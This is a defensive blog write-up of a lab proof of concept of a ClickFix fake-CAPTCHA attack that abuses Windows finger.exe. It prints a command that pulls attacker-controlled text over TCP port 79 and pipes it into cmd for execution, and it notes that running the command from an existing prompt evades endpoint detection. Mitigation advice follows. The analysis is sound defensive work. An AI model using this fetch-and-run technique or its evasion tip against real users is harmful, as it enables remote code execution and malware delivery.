# ClickFix Revisited - Abusing `finger.exe` as a LOLBin **Date Posted:** 2026-01-01 **Last Modified:** 2026-01-01 ## Table of Contents - [[#Summary|Summary]] - [[#High-Level Attack Chain|High-Level Attack Chain]] - [[#Technical Breakdown|Technical Breakdown]] - [[#Technical Breakdown#Lab Setup|Lab Setup]] - [[#Technical Breakdown#User Interaction|User Interaction]] - [[#Technical Breakdown#Command Execution|Command Execution]] - [[#Detection Considerations|Detection Considerations]] - [[#Recommendations|Recommendations]] - [[#Recommendations#Block Outbound TCP Port 79 Where Finger Is Not Required|Block Outbound TCP Port 79 Where Finger Is Not Required]] - [[#Recommendations#Restrict Or Remove `finger.exe` If Unused|Restrict Or Remove `finger.exe` If Unused]] - [[#User Security Awareness Training|User Security Awareness Training]] - [[#Disable The Windows Run Utility Via Group Policy (GPO)|Disable The Windows Run Utility Via Group Policy (GPO)]] - [[#Closing Thoughts|Closing Thoughts]] --- ## Summary Recently, there has been a noticeable resurgence of a **ClickFix-style** attack chain, however, this time it abuses the long-deprecated `finger.exe` binary on Windows. While the social engineering technique itself is not new, the choice of tooling is an interesting twist that wanted to explore from a defensive perspective. `finger.exe` is a legacy binary that surprisingly still ships with modern versions of Windows for backwards compatibility. Historically, it was designed and used to query user information from remote systems over TCP port 79, and typically returned basic account details. On Unix/Linux systems, this data is served by a `fingerd` service. On Windows though, the client still exists even though the server component is largely obsolete. To better understand how this technique works, I built a small proof-of-concept lab to replicate the attack chain end-to-end (mostly). ![[full-poc-test.gif]] --- ## High-Level Attack Chain At a high level, the attack follows the well-known ClickFix pattern: 1. A user browses to a compromised or malicious website, either via malvertising or a direct redirect. 2. The user is presented with a fake CAPTCHA page designed to appear legitimate. 3. When the user clicks “Verify”, a malicious command is silently copied to their clipboard. 4. The page instructs the user to: - Press **Windows + R** to open the Run dialogue - Press **Ctrl + V** to paste - Press **Enter** to execute the command 5. The pasted command launches `cmd.exe`, which then invokes `finger.exe` to retrieve attacker-controlled content. 6. The response from the attacker’s server is piped directly back into `cmd.exe`, resulting in arbitrary command execution. In this proof-of-concept, the final payload simply launches the calculator, but the same technique could be used to execute more impactful commands. --- ## Technical Breakdown ### Lab Setup The lab environment consists of a single Kali Linux VM performing multiple roles: - **Finger server** A Python service listening on TCP port 79 ([the default finger protocol port](https://www.speedguide.net/port.php?port=79)). When it receives a request, it responds with the string: `calc` - **Web infrastructure (Nginx)** Two internal sites are hosted: - `some-page.lan` - A simple benign-looking webpage containing a single obvious “Download” button. - `bad-page.lan` - A fake CAPTCHA page used to deliver the ClickFix payload. ### User Interaction 1. The user visits `https://some-page.lan/`. 2. Clicking the “Download” button redirects them to `https://bad-page.lan/`. 3. `https://bad-page.lan/` presents a classic fake CAPTCHA prompt. 4. When the user clicks **Verify**: - A JavaScript function copies the following command to the clipboard: - `cmd /c "finger [email protected]|cmd"` - An on-screen prompt instructs the user to open the Windows Run dialogue box (`Win + R`), paste (`Ctrl + V`), and then press Enter. ### Command Execution Once executed, the command performs the following actions: - `cmd /c` launches a new command prompt and executes the supplied command. - The command, `finger [email protected]`: - Invokes `finger.exe` - Which then connects to the Kali VM at `10.0.0.2` over TCP port 79 - Requests user information for the fake user `confirm` - The Python finger server responds with the string: `calc` - The pipe (`| cmd`) takes the output of `finger.exe` and feeds it directly into a second instance of `cmd.exe`. - `cmd.exe` interprets the response as a command, resulting in the **Calculator** being launched. In effect, `finger.exe` is abused as a command retrieval mechanism, acting as a living-off-the-land binary (LOLBin) to pull attacker-controlled instructions from a remote host. --- ## Detection Considerations The ClickFix technique itself is well-known, and the majority of modern security products are good at detecting it. In testing, Windows Defender and other EDR platforms successfully blocked the command execution when it was executed via the Run dialogue, flagging it under ClickFix-related behavioural detections (for example, `explorer.exe → cmd.exe → cmd.exe` patterns). Interestingly though, when running the finger command directly inside an existing command prompt, (`finger [email protected]|cmd`), it executes successfully. This is likely because it is no longer spawned via the Windows Run dialogue box (`explorer.exe` process) which allows it to bypass some of the higher-confidence ClickFix behavioural patterns. --- ## Recommendations ### Block Outbound TCP Port 79 Where Finger Is Not Required The finger protocol communicates over **TCP port 79**. If this service is not legitimately used within the environment (*which let's be real, it really shouldn't be..*), **outbound connections to port 79 should be blocked** to prevent abuse of legacy tooling. ### Restrict Or Remove `finger.exe` If Unused `finger.exe` is an **outdated binary** with little to no legitimate use in modern Windows environments. If it is not required, it should be either disabled, removed, or explicitly blocked via application control. ### User Security Awareness Training Provide targeted security awareness training to help users identify suspicious links, advertisements, and common social engineering techniques, including fake CAPTCHA prompts and phishing-style attacks that encourage any sort of copy-and-paste execution. ### Disable The Windows Run Utility Via Group Policy (GPO) Most users have no legitimate business requirement to use the Windows Run dialogue. Disabling it through Group Policy can hugely reduce the risk of copy-paste execution attacks such as ClickFix, while still having almost no impact on normal user operations. --- ## Closing Thoughts While this example is intentionally benign, the same technique could be adapted to stage or execute far more dangerous payloads, reinforcing the importance of behaviour-based detections and user awareness around fake CAPTCHA and “copy-paste” style lures. In future I would love to explore the detection side around this and see what ways this command or even the whole attack chain can be modified to evade endpoint detection.